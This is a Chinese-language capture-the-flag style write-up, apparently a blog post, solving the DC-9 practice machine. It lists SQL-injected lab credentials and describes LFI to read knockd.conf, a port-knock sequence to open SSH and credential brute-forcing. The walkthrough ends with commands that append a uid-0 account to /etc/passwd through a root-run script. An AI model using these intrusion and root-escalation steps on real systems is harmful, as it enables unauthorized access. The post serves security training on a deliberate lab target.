dc9靶机(kockd开端口+写文件提权)

前言

DC系列最后一个靶机,还是延续着之前的传统,中规中矩,却不失新意。正如作者所言

all things must come to an end

所有事情最终都会来到终点,但人生还要继续,带着美好回忆迎接下一次挑战。😃

知识点

  1. knockd服务
  2. /etc/passwd文件提权

详细过程

信息搜集

  1. 端口扫描,22端口阻塞

  2. 目录扫描

  3. 浏览网站很容易发现search页面存在sql注入

  4. sqlmap注入成功,具体不再演示,拿到数据如下。

    Table: UserDetails
    [17 entries]
    +-----------+------------+---------------+
    | firstname | lastname   | password      |
    +-----------+------------+---------------+
    | Mary      | Moe        | 3kfs86sfd     |
    | Julie     | Dooley     | 468sfdfsd2    |
    | Fred      | Flintstone | 4sfd87sfd1    |
    | Barney    | Rubble     | RocksOff      |
    | Tom       | Cat        | TC&TheBoyz    |
    | Jerry     | Mouse      | B8m#48sd      |
    | Wilma     | Flintstone | Pebbles       |
    | Betty     | Rubble     | BamBam01      |
    | Chandler  | Bing       | UrAG0D!       |
    | Joey      | Tribbiani  | Passw0rd      |
    | Rachel    | Green      | yN72#dsd      |
    | Ross      | Geller     | ILoveRachel   |
    | Monica    | Geller     | 3248dsds7s    |
    | Phoebe    | Buffay     | smellycats    |
    | Scooter   | McScoots   | YR3BVxxxw87   |
    | Donald    | Trump      | Ilovepeepee   |
    | Scott     | Morrison   | Hawaii-Five-0 |
    +-----------+------------+---------------+
    
         
         
         
         
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23

    还有一个管理员

    admin:transorbital1(使用sqlmap默认字典爆破)

  5. 登陆管理员后只有添加记录的功能,本来想要使用闭合dom树的方式来解析php,但输入有长度限制,放弃。登陆管理员后看到页脚爆file not found错误。猜测存在LFI。

  6. 验证LFI,很幸运file参数直接猜到。

  7. 但LFI不能getshell。接下来的思路应该是fuzz一些系统文件。这里如果有一个强大的字典,应该能够发现/etc/knockd.conf

    这个knockd.conf是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。

    简单来说就是用来隐藏ssh登陆端口。(也就是我们之前扫描端口时发现22端口阻塞)只有我们按照设定的顺序敲击端口,防火墙才会打开登陆端口。再按照同样的方式可以使防火墙关闭ssh登陆端口,如果别人不知道我们设定的端口敲击顺序,是无法登陆ssh的。我们可以下载knock来开启远程端口,也可以直接用nc敲击端口。

  8. 按顺序敲击7469,8475,9842,22端口开启

getshell

  1. 之后可以用hydra,或者msf结合/etc/passwd文件之前从数据库内拿到的密码撞库ssh。这里我拿到janitor用户ssh密码。登陆后发现密码文件

  2. 使用msf爆破。最终一共拿到四个账户。

提权

  1. 下载提权辅助脚本。在fredf用户运行后发现可疑文件。运行后提示应该使用python写的。

  2. 通过find找到源码

    #!/usr/bin/python
    

import sys

if len (sys.argv) != 3 :
print (“Usage: python test.py read append”)
sys.exit (1)

else :
f = open(sys.argv[1], “r”)
output = (f.read())

f <span class="token operator">=</span> <span class="token builtin">open</span><span class="token punctuation">(</span>sys<span class="token punctuation">.</span>argv<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">)</span>
f<span class="token punctuation">.</span>write<span class="token punctuation">(</span>output<span class="token punctuation">)</span>
f<span class="token punctuation">.</span>close<span class="token punctuation">(</span><span class="token punctuation">)</span>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 很明显了,我们通过这个程序可以以root权限合并文件内容。那么如何提权?将用户写入/etc/passwd啊,首先生成密码

    $ perl -le 'print crypt("123456","salt")'
    sahL5d5V.UWtI
    $ echo "srat1999:sahL5d5V.UWtI:0:0:User_like_root:/root:/bin/bash" >> /tmp/passwd
    # 用户名:密码hash:uid:gid:说明:家目录:登陆后使用的shell
    $ sudo ./test /tmp/passwd /etc/passwd
    
      
      
      
      
    • 1
    • 2
    • 3
    • 4
    • 5
  • 最后

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值